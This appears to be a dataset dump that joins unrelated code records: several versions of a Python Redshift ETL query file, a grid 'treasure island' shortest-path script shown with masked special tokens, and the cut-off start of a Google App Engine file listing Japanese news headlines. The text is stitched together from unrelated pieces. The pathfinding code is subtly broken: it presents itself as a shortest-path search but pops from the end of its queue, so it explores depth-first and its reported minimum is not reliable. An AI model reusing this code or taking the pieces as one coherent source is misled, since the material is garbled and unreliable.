'auto' truncatecolumns;\n \"\"\"\n .format('IAM ARN'))\nsongplay_table_insert = \"\"\"INSERT INTO songplay(start_time, user_id, level, \n song_id, artist_id, session_id,location, user_agent)\n SELECT DISTINCT TIMESTAMP 'epoch' + ts/1000 *INTERVAL '1second' as start_time,\n se.user_id, \n se.level, \n ss.song_id,\n ss.artist_id,\n se.session_id,\n se.location,\n se.user_agent\n FROM staging_events se, staging_songs ss\n WHERE se.page = 'NextSong'\n AND se.artist = ss.artist_name\n AND se.length = ss.duration\"\"\"\nusers_table_insert = \"\"\"INSERT INTO users (user_id, first_name, last_name, gender, level)\n SELECT \n se.user_id, \n se.first_name, \n se.last_name,\n se.gender,\n se.level\n FROM staging_events se\"\"\"\nsong_table_insert = \"\"\"INSERT INTO song (song_id, title, artist_id, year, duration)\n SELECT \n ss.song_id, \n ss.title, \n ss.artist_id,\n ss.year,\n ss.duration\n FROM staging_songs ss\"\"\"\nartist_table_insert = \"\"\"INSERT INTO artist (artist_id, artist_name, artist_location, artist_latitude, artist_longitude)\n SELECT \n ss.artist_id,\n ss.artist_name, \n ss.artist_location, \n ss.artist_latitude,\n ss.artist_longitude\n FROM staging_songs ss\"\"\"\ntime_table_insert = \"\"\"INSERT INTO time(start_time, hour, day, week, month, year, weekday)\n SELECT start_time, \n EXTRACT(hour from start_time),\n EXTRACT(day from start_time),\n EXTRACT(week from start_time),\n EXTRACT(month from start_time),\n EXTRACT(year from start_time),\n EXTRACT(dayofweek from start_time)\n FROM songplay\"\"\"\ntest1 = 'SELECT * FROM songplay LIMIT 1; '\ntest2 = 'SELECT * FROM users LIMIT 1; '\ntest3 = 'SELECT * FROM song LIMIT 1; '\ntest4 = 'SELECT * FROM artist LIMIT 1; '\ntest5 = 'SELECT * FROM time LIMIT 1; '\ncreate_table_queries = [staging_events_table_create,\n staging_songs_table_create, songplay_table_create, users_table_create,\n song_table_create, artist_table_create, time_table_create]\ndrop_table_queries = [staging_events_table_drop, staging_songs_table_drop,\n songplay_table_drop, users_table_drop, song_table_drop,\n artist_table_drop, time_table_drop]\ncopy_table_queries = [staging_events_copy, staging_songs_copy]\ninsert_table_queries = [songplay_table_insert, users_table_insert,\n song_table_insert, artist_table_insert, time_table_insert]\ntest_queries = [test1, test2, test3, test4, test5]\n", "step-4": "import configparser\nconfig = configparser.ConfigParser()\nconfig.read('dwh.cfg')\nschema = \"\"\"CREATE SCHEMA IF NOT EXISTS public;\n SET search_path TO public;\"\"\"\nstaging_events_table_drop = 'DROP TABLE IF EXISTS staging_events;'\nstaging_songs_table_drop = 'DROP TABLE IF EXISTS staging_songs;'\nsongplay_table_drop = 'DROP TABLE IF EXISTS songplay;'\nusers_table_drop = 'DROP TABLE IF EXISTS users;'\nsong_table_drop = 'DROP TABLE IF EXISTS song;'\nartist_table_drop = 'DROP TABLE IF EXISTS artist;'\ntime_table_drop = 'DROP TABLE IF EXISTS time;'\nstaging_events_table_create = \"\"\"CREATE TABLE staging_events(\n artist VARCHAR,\n auth VARCHAR,\n first_name VARCHAR,\n gender CHAR(16),\n item_in_session INTEGER,\n last_name VARCHAR,\n length FLOAT,\n level VARCHAR(10),\n location VARCHAR,\n method VARCHAR(4),\n page VARCHAR(16),\n registration VARCHAR,\n session_id INTEGER,\n song VARCHAR,\n status INTEGER,\n ts BIGINT,\n user_agent VARCHAR,\n user_id INTEGER);\"\"\"\nstaging_songs_table_create = \"\"\"CREATE TABLE staging_songs(\n song_id VARCHAR,\n num_songs INTEGER,\n artist_id VARCHAR,\n artist_latitude VARCHAR,\n artist_longitude VARCHAR,\n artist_location VARCHAR,\n artist_name VARCHAR,\n title VARCHAR,\n duration FLOAT,\n year INTEGER);\"\"\"\nsongplay_table_create = \"\"\"CREATE TABLE songplay (\n songplay_id INTEGER IDENTITY(0,1) sortkey,\n start_time TIMESTAMP, \n user_id INTEGER,\n level VARCHAR(10),\n song_id VARCHAR distkey,\n artist_id VARCHAR,\n session_id INTEGER,\n location VARCHAR,\n user_agent VARCHAR);\"\"\"\nusers_table_create = \"\"\"CREATE TABLE users (\n user_id INTEGER sortkey distkey,\n first_name VARCHAR,\n last_name VARCHAR,\n gender CHAR(16),\n level VARCHAR(10));\"\"\"\nsong_table_create = \"\"\"CREATE TABLE song (\n song_id VARCHAR sortkey distkey,\n title VARCHAR,\n artist_id VARCHAR,\n year INTEGER,\n duration FLOAT);\"\"\"\nartist_table_create = \"\"\"CREATE TABLE artist (\n artist_id VARCHAR sortkey distkey,\n artist_name VARCHAR,\n artist_location VARCHAR,\n artist_latitude VARCHAR,\n artist_longitude VARCHAR);\"\"\"\ntime_table_create = \"\"\"CREATE TABLE time (\n start_time TIMESTAMP sortkey distkey,\n hour INTEGER,\n day INTEGER,\n week INTEGER,\n month INTEGER,\n year INTEGER,\n weekday INTEGER);\"\"\"\nstaging_events_copy = (\n \"\"\"COPY staging_events\n FROM 's3://udacity-dend/log_data'\n CREDENTIALS 'aws_iam_role={}' \n COMPUPDATE OFF REGION 'us-west-2'\n FORMAT AS JSON 's3://udacity-dend/log_json_path.json';\n \"\"\"\n .format('IAM ARN'))\nstaging_songs_copy = (\n \"\"\"COPY staging_songs \n FROM 's3://udacity-dend/song_data'\n CREDENTIALS 'aws_iam_role={}'\n COMPUPDATE OFF REGION 'us-west-2'\n JSON 'auto' truncatecolumns;\n \"\"\"\n .format('IAM ARN'))\nsongplay_table_insert = \"\"\"INSERT INTO songplay(start_time, user_id, level, \n song_id, artist_id, session_id,location, user_agent)\n SELECT DISTINCT TIMESTAMP 'epoch' + ts/1000 *INTERVAL '1second' as start_time,\n se.user_id, \n se.level, \n ss.song_id,\n ss.artist_id,\n se.session_id,\n se.location,\n se.user_agent\n FROM staging_events se, staging_songs ss\n WHERE se.page = 'NextSong'\n AND se.artist = ss.artist_name\n AND se.length = ss.duration\"\"\"\nusers_table_insert = \"\"\"INSERT INTO users (user_id, first_name, last_name, gender, level)\n SELECT \n se.user_id, \n se.first_name, \n se.last_name,\n se.gender,\n se.level\n FROM staging_events se\"\"\"\nsong_table_insert = \"\"\"INSERT INTO song (song_id, title, artist_id, year, duration)\n SELECT \n ss.song_id, \n ss.title, \n ss.artist_id,\n ss.year,\n ss.duration\n FROM staging_songs ss\"\"\"\nartist_table_insert = \"\"\"INSERT INTO artist (artist_id, artist_name, artist_location, artist_latitude, artist_longitude)\n SELECT \n ss.artist_id,\n ss.artist_name, \n ss.artist_location, \n ss.artist_latitude,\n ss.artist_longitude\n FROM staging_songs ss\"\"\"\ntime_table_insert = \"\"\"INSERT INTO time(start_time, hour, day, week, month, year, weekday)\n SELECT start_time, \n EXTRACT(hour from start_time),\n EXTRACT(day from start_time),\n EXTRACT(week from start_time),\n EXTRACT(month from start_time),\n EXTRACT(year from start_time),\n EXTRACT(dayofweek from start_time)\n FROM songplay\"\"\"\ntest1 = 'SELECT * FROM songplay LIMIT 1; '\ntest2 = 'SELECT * FROM users LIMIT 1; '\ntest3 = 'SELECT * FROM song LIMIT 1; '\ntest4 = 'SELECT * FROM artist LIMIT 1; '\ntest5 = 'SELECT * FROM time LIMIT 1; '\ncreate_table_queries = [staging_events_table_create,\n staging_songs_table_create, songplay_table_create, users_table_create,\n song_table_create, artist_table_create, time_table_create]\ndrop_table_queries = [staging_events_table_drop, staging_songs_table_drop,\n songplay_table_drop, users_table_drop, song_table_drop,\n artist_table_drop, time_table_drop]\ncopy_table_queries = [staging_events_copy, staging_songs_copy]\ninsert_table_queries = [songplay_table_insert, users_table_insert,\n song_table_insert, artist_table_insert, time_table_insert]\ntest_queries = [test1, test2, test3, test4, test5]\n", "step-5": "import configparser\n\n\n# CONFIG\nconfig = configparser.ConfigParser()\nconfig.read('dwh.cfg')\n\n# DISTRIBUTION SCHEMA\nschema = (\"\"\"CREATE SCHEMA IF NOT EXISTS public;\n SET search_path TO public;\"\"\")\n\n# DROP TABLES\n\nstaging_events_table_drop = (\"DROP TABLE IF EXISTS staging_events;\") \nstaging_songs_table_drop = (\"DROP TABLE IF EXISTS staging_songs;\") \nsongplay_table_drop = (\"DROP TABLE IF EXISTS songplay;\") \nusers_table_drop = (\"DROP TABLE IF EXISTS users;\")\nsong_table_drop = (\"DROP TABLE IF EXISTS song;\")\nartist_table_drop = (\"DROP TABLE IF EXISTS artist;\") \ntime_table_drop = (\"DROP TABLE IF EXISTS time;\") \n\n# CREATE STAGING TABLES\n\nstaging_events_table_create = (\"\"\"CREATE TABLE staging_events(\n artist VARCHAR,\n auth VARCHAR,\n first_name VARCHAR,\n gender CHAR(16),\n item_in_session INTEGER,\n last_name VARCHAR,\n length FLOAT,\n level VARCHAR(10),\n location VARCHAR,\n method VARCHAR(4),\n page VARCHAR(16),\n registration VARCHAR,\n session_id INTEGER,\n song VARCHAR,\n status INTEGER,\n ts BIGINT,\n user_agent VARCHAR,\n user_id INTEGER);\"\"\") \n\nstaging_songs_table_create = (\"\"\"CREATE TABLE staging_songs(\n song_id VARCHAR,\n num_songs INTEGER,\n artist_id VARCHAR,\n artist_latitude VARCHAR,\n artist_longitude VARCHAR,\n artist_location VARCHAR,\n artist_name VARCHAR,\n title VARCHAR,\n duration FLOAT,\n year INTEGER);\"\"\")\n\n# CREATE FACT TABLE\nsongplay_table_create = (\"\"\"CREATE TABLE songplay (\n songplay_id INTEGER IDENTITY(0,1) sortkey,\n start_time TIMESTAMP, \n user_id INTEGER,\n level VARCHAR(10),\n song_id VARCHAR distkey,\n artist_id VARCHAR,\n session_id INTEGER,\n location VARCHAR,\n user_agent VARCHAR);\"\"\") \n\n# CREATE DIMENSION TABLES\nusers_table_create = (\"\"\"CREATE TABLE users (\n user_id INTEGER sortkey distkey,\n first_name VARCHAR,\n last_name VARCHAR,\n gender CHAR(16),\n level VARCHAR(10));\"\"\")\n\nsong_table_create = (\"\"\"CREATE TABLE song (\n song_id VARCHAR sortkey distkey,\n title VARCHAR,\n artist_id VARCHAR,\n year INTEGER,\n duration FLOAT);\"\"\")\n\n\nartist_table_create = (\"\"\"CREATE TABLE artist (\n artist_id VARCHAR sortkey distkey,\n artist_name VARCHAR,\n artist_location VARCHAR,\n artist_latitude VARCHAR,\n artist_longitude VARCHAR);\"\"\") \n\ntime_table_create = (\"\"\"CREATE TABLE time (\n start_time TIMESTAMP sortkey distkey,\n hour INTEGER,\n day INTEGER,\n week INTEGER,\n month INTEGER,\n year INTEGER,\n weekday INTEGER);\"\"\") \n\n# COPY FROM S3 INTO STAGING TABLES\n\nstaging_events_copy = (\"\"\"COPY staging_events\n FROM 's3://udacity-dend/log_data'\n CREDENTIALS 'aws_iam_role={}' \n COMPUPDATE OFF REGION 'us-west-2'\n FORMAT AS JSON 's3://udacity-dend/log_json_path.json';\n \"\"\").format(\"IAM ARN\")\n\n#limiting data due to execution time - remove prefix /A/A/ to copy entire file\nstaging_songs_copy = (\"\"\"COPY staging_songs \n FROM 's3://udacity-dend/song_data'\n CREDENTIALS 'aws_iam_role={}'\n COMPUPDATE OFF REGION 'us-west-2'\n JSON 'auto' truncatecolumns;\n \"\"\").format(\"IAM ARN\")\n\n# INSERT FROM STAGING TO FINAL TABLES\n\nsongplay_table_insert =(\"\"\"INSERT INTO songplay(start_time, user_id, level, \n song_id, artist_id, session_id,location, user_agent)\n SELECT DISTINCT TIMESTAMP 'epoch' + ts/1000 *INTERVAL '1second' as start_time,\n se.user_id, \n se.level, \n ss.song_id,\n ss.artist_id,\n se.session_id,\n se.location,\n se.user_agent\n FROM staging_events se, staging_songs ss\n WHERE se.page = 'NextSong'\n AND se.artist = ss.artist_name\n AND se.length = ss.duration\"\"\")\n\nusers_table_insert = (\"\"\"INSERT INTO users (user_id, first_name, last_name, gender, level)\n SELECT \n se.user_id, \n se.first_name, \n se.last_name,\n se.gender,\n se.level\n FROM staging_events se\"\"\")\n\nsong_table_insert = (\"\"\"INSERT INTO song (song_id, title, artist_id, year, duration)\n SELECT \n ss.song_id, \n ss.title, \n ss.artist_id,\n ss.year,\n ss.duration\n FROM staging_songs ss\"\"\")\n\nartist_table_insert = (\"\"\"INSERT INTO artist (artist_id, artist_name, artist_location, artist_latitude, artist_longitude)\n SELECT \n ss.artist_id,\n ss.artist_name, \n ss.artist_location, \n ss.artist_latitude,\n ss.artist_longitude\n FROM staging_songs ss\"\"\")\n\ntime_table_insert = (\"\"\"INSERT INTO time(start_time, hour, day, week, month, year, weekday)\n SELECT start_time, \n EXTRACT(hour from start_time),\n EXTRACT(day from start_time),\n EXTRACT(week from start_time),\n EXTRACT(month from start_time),\n EXTRACT(year from start_time),\n EXTRACT(dayofweek from start_time)\n FROM songplay\"\"\")\n\n\n#TEST QUERIES\n\ntest1 = (\"\"\"SELECT * FROM songplay LIMIT 1; \"\"\")\ntest2 = (\"\"\"SELECT * FROM users LIMIT 1; \"\"\")\ntest3 = (\"\"\"SELECT * FROM song LIMIT 1; \"\"\")\ntest4 = (\"\"\"SELECT * FROM artist LIMIT 1; \"\"\")\ntest5 = (\"\"\"SELECT * FROM time LIMIT 1; \"\"\")\n\n# QUERY LISTS\n\ncreate_table_queries = [staging_events_table_create, staging_songs_table_create, songplay_table_create, users_table_create, \n song_table_create, artist_table_create, time_table_create]\n \ndrop_table_queries = [staging_events_table_drop, staging_songs_table_drop, songplay_table_drop, users_table_drop, \n song_table_drop, artist_table_drop, time_table_drop]\n\ncopy_table_queries = [staging_events_copy, staging_songs_copy]\n\n\ninsert_table_queries = [songplay_table_insert, users_table_insert, song_table_insert, artist_table_insert, time_table_insert]\n\n\ntest_queries = [test1, test2, test3, test4, test5]", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def find_treasure(grid): if not len(grid) or not len(grid[0]): return -1 minimum_steps = math.inf for i in range(len(grid)): for j in range(len(grid[i])): if grid[i][j] == 'S': minimum_steps = min(minimum_steps, find_treasure_util(grid, i, j)) return minimum_steps <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def find_treasure_util(grid, i, j): rows, columns = len(grid), len(grid[0]) queue = [((i, j), 0)] directions = [[0, 1], [0, -1], [1, 0], [-1, 0]] visited = [[(-1) for _ in range(columns)] for _ in range(rows)] while queue: (x, y), step = queue.pop() visited[x][y] = step for direction in directions: curr_x = x + direction[0] curr_y = y + direction[1] if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][ curr_y] == 'X': return step + 1 elif 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][ curr_y] != 'D' and visited[curr_x][curr_y] == -1: queue.append(((curr_x, curr_y), step + 1)) return -1 def find_treasure(grid): if not len(grid) or not len(grid[0]): return -1 minimum_steps = math.inf for i in range(len(grid)): for j in range(len(grid[i])): if grid[i][j] == 'S': minimum_steps = min(minimum_steps, find_treasure_util(grid, i, j)) return minimum_steps <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def find_treasure_util(grid, i, j): rows, columns = len(grid), len(grid[0]) queue = [((i, j), 0)] directions = [[0, 1], [0, -1], [1, 0], [-1, 0]] visited = [[(-1) for _ in range(columns)] for _ in range(rows)] while queue: (x, y), step = queue.pop() visited[x][y] = step for direction in directions: curr_x = x + direction[0] curr_y = y + direction[1] if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][ curr_y] == 'X': return step + 1 elif 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][ curr_y] != 'D' and visited[curr_x][curr_y] == -1: queue.append(((curr_x, curr_y), step + 1)) return -1 def find_treasure(grid): if not len(grid) or not len(grid[0]): return -1 minimum_steps = math.inf for i in range(len(grid)): for j in range(len(grid[i])): if grid[i][j] == 'S': minimum_steps = min(minimum_steps, find_treasure_util(grid, i, j)) return minimum_steps if __name__ == '__main__': grid = [['S', 'O', 'O', 'S', 'S'], ['D', 'O', 'D', 'O', 'D'], ['O', 'O', 'O', 'O', 'X'], ['X', 'D', 'D', 'O', 'O'], ['X', 'D', 'D', 'D', 'O']] print(find_treasure(grid)) <|reserved_special_token_1|> <|reserved_special_token_0|> import math def find_treasure_util(grid, i, j): rows, columns = len(grid), len(grid[0]) queue = [((i, j), 0)] directions = [[0, 1], [0, -1], [1, 0], [-1, 0]] visited = [[(-1) for _ in range(columns)] for _ in range(rows)] while queue: (x, y), step = queue.pop() visited[x][y] = step for direction in directions: curr_x = x + direction[0] curr_y = y + direction[1] if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][ curr_y] == 'X': return step + 1 elif 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][ curr_y] != 'D' and visited[curr_x][curr_y] == -1: queue.append(((curr_x, curr_y), step + 1)) return -1 def find_treasure(grid): if not len(grid) or not len(grid[0]): return -1 minimum_steps = math.inf for i in range(len(grid)): for j in range(len(grid[i])): if grid[i][j] == 'S': minimum_steps = min(minimum_steps, find_treasure_util(grid, i, j)) return minimum_steps if __name__ == '__main__': grid = [['S', 'O', 'O', 'S', 'S'], ['D', 'O', 'D', 'O', 'D'], ['O', 'O', 'O', 'O', 'X'], ['X', 'D', 'D', 'O', 'O'], ['X', 'D', 'D', 'D', 'O']] print(find_treasure(grid)) <|reserved_special_token_1|> """ You have a map that marks the locations of treasure islands. Some of the map area has jagged rocks and dangerous reefs. Other areas are safe to sail in. There are other explorers trying to find the treasure. So you must figure out a shortest route to one of the treasure islands. Assume the map area is a two dimensional grid, represented by a matrix of characters. You must start from one of the starting point (marked as S) of the map and can move one block up, down, left or right at a time. The treasure island is marked as X. Any block with dangerous rocks or reefs will be marked as D. You must not enter dangerous blocks. You cannot leave the map area. Other areas O are safe to sail in. Output the minimum number of steps to get to any of the treasure islands. """ import math def find_treasure_util(grid, i, j): rows, columns = len(grid), len(grid[0]) queue = [((i, j), 0)] directions = [[0, 1], [0, -1], [1, 0], [-1, 0]] visited = [[-1 for _ in range(columns)] for _ in range(rows)] while queue: (x, y), step = queue.pop() visited[x][y] = step for direction in directions: curr_x = x + direction[0] curr_y = y + direction[1] if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][curr_y] == 'X': return step + 1 elif 0 <= curr_x < rows and 0 <= curr_y < columns \ and grid[curr_x][curr_y] != 'D' \ and visited[curr_x][curr_y] == -1: queue.append(((curr_x, curr_y), step + 1)) return -1 def find_treasure(grid): if not len(grid) or not len(grid[0]): return -1 minimum_steps = math.inf for i in range(len(grid)): for j in range(len(grid[i])): if grid[i][j] == 'S': minimum_steps = min(minimum_steps, find_treasure_util(grid, i, j)) return minimum_steps if __name__ == '__main__': grid = [['S', 'O', 'O', 'S', 'S'], ['D', 'O', 'D', 'O', 'D'], ['O', 'O', 'O', 'O', 'X'], ['X', 'D', 'D', 'O', 'O'], ['X', 'D', 'D', 'D', 'O']] print(find_treasure(grid))
flexible
{ "blob_id": "e6851e86fa86ab2096f059218b2b8a2994642807", "index": 3717, "step-1": "<mask token>\n\n\ndef find_treasure(grid):\n if not len(grid) or not len(grid[0]):\n return -1\n minimum_steps = math.inf\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j] == 'S':\n minimum_steps = min(minimum_steps, find_treasure_util(grid,\n i, j))\n return minimum_steps\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef find_treasure_util(grid, i, j):\n rows, columns = len(grid), len(grid[0])\n queue = [((i, j), 0)]\n directions = [[0, 1], [0, -1], [1, 0], [-1, 0]]\n visited = [[(-1) for _ in range(columns)] for _ in range(rows)]\n while queue:\n (x, y), step = queue.pop()\n visited[x][y] = step\n for direction in directions:\n curr_x = x + direction[0]\n curr_y = y + direction[1]\n if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][\n curr_y] == 'X':\n return step + 1\n elif 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][\n curr_y] != 'D' and visited[curr_x][curr_y] == -1:\n queue.append(((curr_x, curr_y), step + 1))\n return -1\n\n\ndef find_treasure(grid):\n if not len(grid) or not len(grid[0]):\n return -1\n minimum_steps = math.inf\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j] == 'S':\n minimum_steps = min(minimum_steps, find_treasure_util(grid,\n i, j))\n return minimum_steps\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef find_treasure_util(grid, i, j):\n rows, columns = len(grid), len(grid[0])\n queue = [((i, j), 0)]\n directions = [[0, 1], [0, -1], [1, 0], [-1, 0]]\n visited = [[(-1) for _ in range(columns)] for _ in range(rows)]\n while queue:\n (x, y), step = queue.pop()\n visited[x][y] = step\n for direction in directions:\n curr_x = x + direction[0]\n curr_y = y + direction[1]\n if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][\n curr_y] == 'X':\n return step + 1\n elif 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][\n curr_y] != 'D' and visited[curr_x][curr_y] == -1:\n queue.append(((curr_x, curr_y), step + 1))\n return -1\n\n\ndef find_treasure(grid):\n if not len(grid) or not len(grid[0]):\n return -1\n minimum_steps = math.inf\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j] == 'S':\n minimum_steps = min(minimum_steps, find_treasure_util(grid,\n i, j))\n return minimum_steps\n\n\nif __name__ == '__main__':\n grid = [['S', 'O', 'O', 'S', 'S'], ['D', 'O', 'D', 'O', 'D'], ['O', 'O',\n 'O', 'O', 'X'], ['X', 'D', 'D', 'O', 'O'], ['X', 'D', 'D', 'D', 'O']]\n print(find_treasure(grid))\n", "step-4": "<mask token>\nimport math\n\n\ndef find_treasure_util(grid, i, j):\n rows, columns = len(grid), len(grid[0])\n queue = [((i, j), 0)]\n directions = [[0, 1], [0, -1], [1, 0], [-1, 0]]\n visited = [[(-1) for _ in range(columns)] for _ in range(rows)]\n while queue:\n (x, y), step = queue.pop()\n visited[x][y] = step\n for direction in directions:\n curr_x = x + direction[0]\n curr_y = y + direction[1]\n if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][\n curr_y] == 'X':\n return step + 1\n elif 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][\n curr_y] != 'D' and visited[curr_x][curr_y] == -1:\n queue.append(((curr_x, curr_y), step + 1))\n return -1\n\n\ndef find_treasure(grid):\n if not len(grid) or not len(grid[0]):\n return -1\n minimum_steps = math.inf\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j] == 'S':\n minimum_steps = min(minimum_steps, find_treasure_util(grid,\n i, j))\n return minimum_steps\n\n\nif __name__ == '__main__':\n grid = [['S', 'O', 'O', 'S', 'S'], ['D', 'O', 'D', 'O', 'D'], ['O', 'O',\n 'O', 'O', 'X'], ['X', 'D', 'D', 'O', 'O'], ['X', 'D', 'D', 'D', 'O']]\n print(find_treasure(grid))\n", "step-5": "\"\"\"\nYou have a map that marks the locations of treasure islands. Some of the map area has jagged rocks and dangerous reefs.\nOther areas are safe to sail in. There are other explorers trying to find the treasure.\nSo you must figure out a shortest route to one of the treasure islands.\n\nAssume the map area is a two dimensional grid, represented by a matrix of characters.\nYou must start from one of the starting point (marked as S) of the map and can move one block up, down,\nleft or right at a time. The treasure island is marked as X. Any block with dangerous rocks or reefs will be marked as\nD. You must not enter dangerous blocks. You cannot leave the map area. Other areas O are safe to sail in.\nOutput the minimum number of steps to get to any of the treasure islands.\n\"\"\"\n\nimport math\n\n\ndef find_treasure_util(grid, i, j):\n rows, columns = len(grid), len(grid[0])\n queue = [((i, j), 0)]\n directions = [[0, 1], [0, -1], [1, 0], [-1, 0]]\n visited = [[-1 for _ in range(columns)] for _ in range(rows)]\n while queue:\n (x, y), step = queue.pop()\n visited[x][y] = step\n for direction in directions:\n curr_x = x + direction[0]\n curr_y = y + direction[1]\n if 0 <= curr_x < rows and 0 <= curr_y < columns and grid[curr_x][curr_y] == 'X':\n return step + 1\n elif 0 <= curr_x < rows and 0 <= curr_y < columns \\\n and grid[curr_x][curr_y] != 'D' \\\n and visited[curr_x][curr_y] == -1:\n queue.append(((curr_x, curr_y), step + 1))\n return -1\n\n\ndef find_treasure(grid):\n if not len(grid) or not len(grid[0]):\n return -1\n minimum_steps = math.inf\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j] == 'S':\n minimum_steps = min(minimum_steps, find_treasure_util(grid, i, j))\n return minimum_steps\n\n\nif __name__ == '__main__':\n grid = [['S', 'O', 'O', 'S', 'S'],\n ['D', 'O', 'D', 'O', 'D'],\n ['O', 'O', 'O', 'O', 'X'],\n ['X', 'D', 'D', 'O', 'O'],\n ['X', 'D', 'D', 'D', 'O']]\n print(find_treasure(grid))", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
# -*- coding: utf-8 -*- ''' Created on 2014/07/24 @author: seigo ''' from google.appengine.api import users from google.appengine.ext import webapp from MyModel import HistoricalTable, PollRating, Government from datetime import datetime hts = [["2014/7/1","集団的自衛権行使容認の閣議決定","http://www.47news.jp/47topics/e/254919.php"],["2014/3/18","ロシア、クリミアを編入","http://www.47news.jp/CN/201403/CN2014031801002413.html"],["2014/2/9","舛添氏が圧勝、東京都知事選","http://www.47news.jp/CN/201402/CN2014020901001630.html"],["2014/1/7","国家安全保障局を設置","http://www.47news.jp/CN/201401/CN2014010701001086.html"],["2013/12/26","安倍首相が靖国神社参拝","http://www.47news.jp/CN/201312/CN2013122601000987.html"],["2013/12/6","特定秘密保護法が成立","http://www.47news.jp/CN/201312/CN2013120601002724.html"],["2013/11/3","東北楽天がプロ野球日本一","http://www.47news.jp/CN/201311/CN2013110301002118.html"],["2013/10/1","消費税率引き上げ決定、4月8%","http://www.47news.jp/CN/201310/CN2013100101002292.html"],["2013/9/8","2020年東京五輪開催決定","http://www.47news.jp/CN/201309/CN2013090401001495.html"],["2013/7/21","参院選で自民圧勝、ねじれ解消","http://www.47news.jp/CN/201307/CN2013072101001638.html"],["2013/3/15","TPP交渉に参加表明","http://www.47news.jp/CN/201303/CN2013031501001566.html"],["2013/2/12","北朝鮮が3度目の核実験","http://www.47news.jp/CN/201302/CN2013021201001987.html"],["2013/1/16","アルジェリア人質事件発生","http://www.47news.jp/CN/201301/CN2013011601001649.html"],["2012/12/26","第2次安倍内閣発足","http://www.47news.jp/CN/201212/CN2012122601001577.html"],["2012/12/6","自公が政権奪還、衆院選","http://www.47news.jp/CN/201212/CN2012121601001041.html"],["2012/11/15","習近平新指導部発足、中国","http://www.47news.jp/CN/201211/CN2012111501001203.html"],["2012/11/6","オバマ米大統領が再選","http://www.47news.jp/CN/201211/CN2012110701000867.html"],["2012/10/1","新型輸送機オスプレイを沖縄配備","http://www.47news.jp/CN/201210/CN2012100101001335.html"],["2012/9/11","尖閣諸島の魚釣島など3島国有化","http://www.47news.jp/CN/201209/CN2012091101001254.html"],["2012/8/10","消費税増税法が成立、10%へ","http://www.47news.jp/CN/201208/CN2012081001002702.html"],["2012/6/27","東京電力を国有化、公的資金注入","http://www.47news.jp/CN/201206/CN2012062701001601.html"],["2011/12/19","北朝鮮の金正日総書記が死去発表","http://www.47news.jp/CN/201112/CN2011121901001386.html"],["2011/11/27","大阪ダブル選で「維新の会」勝利","http://www.47news.jp/CN/201111/CN2011112701001230.html"],["2011/10/20","リビアのカダフィ大佐が死亡","http://www.47news.jp/CN/201110/CN2011102001000912.html"],["2011/10/5","米アップル創業者ジョブズ氏死去","http://www.47news.jp/CN/201110/CN2011100601000102.html"],["2011/9/2","野田内閣が発足","http://www.47news.jp/CN/201109/CN2011090201000656.html"],["2011/8/19","円が戦後最高値更新、75円95銭","http://www.47news.jp/CN/201108/CN2011081901001116.html"],["2011/7/17","なでしこジャパン女子W杯初優勝","http://www.47news.jp/CN/201107/CN2011071801000025.html"],["2011/5/6","首相、浜岡原発停止要請","http://www.47news.jp/CN/201105/CN2011050601000847.html"],["2011/3/11","東日本大震災","http://www.47news.jp/CN/201103/CN2011031101000455.html"],["2011/2/22","NZ地震、日本人28人も死亡","http://www.47news.jp/CN/201104/CN2011040401001017.html"],["2011/1/31","民主党小沢一郎元代表を強制起訴","http://www.47news.jp/CN/201101/CN2011013101000352.html"],["2010/11/23","北朝鮮が韓国・延坪島砲撃","http://www.47news.jp/CN/201011/CN2010112301000213.html"],["2010/10/6","ノーベル化学賞に根岸、鈴木両氏","http://www.47news.jp/CN/201010/CN2010100601000811.html"],["2010/9/15","政府が為替介入、6年半ぶり","http://www.47news.jp/CN/201009/CN2010091501000138.html"],["2010/9/7","尖閣で中国漁船が巡視船に衝突","http://www.47news.jp/CN/201009/CN2010090701000382.html"],["2010/7/11","参院選で民主党大敗、ねじれ国会","http://www.47news.jp/CN/201007/CN2010071101000032.html"],["2010/6/8","鳩山首相退陣、菅内閣発足","http://www.47news.jp/CN/201006/CN2010060801000756.html"],["2010/5/28","普天間移設で日米合意","http://www.47news.jp/CN/201005/CN2010052801000165.html"],["2010/4/20","宮崎県で口蹄疫、被害拡大","http://www.47news.jp/CN/201004/CN2010042001000207.html"],["2009/11/20","デフレ宣言、3年5カ月ぶり","http://www.47news.jp/CN/200911/CN2009112001000267.html"],["2009/10/2","2016年五輪はリオ、東京落選","http://www.47news.jp/CN/200910/CN2009100201000542.html"],["2009/9/16","鳩山内閣発足","http://www.47news.jp/CN/200909/CN2009091601000915.html"],["2009/8/30","民主党圧勝で政権交代、衆院選","http://www.47news.jp/CN/200908/CN2009083001000015.html"],["2009/8/3","全国初の裁判員裁判、東京地裁","http://www.47news.jp/CN/200908/CN2009080301000461.html"],["2009/6/25","歌手M・ジャクソンさん急死","http://www.47news.jp/CN/200906/CN2009062601000067.html"],["2009/5/25","北朝鮮が2回目の核実験","http://www.47news.jp/CN/200905/CN2009052501000261.html"],["2009/3/23","WBCで「侍ジャパン」が連覇","http://www.47news.j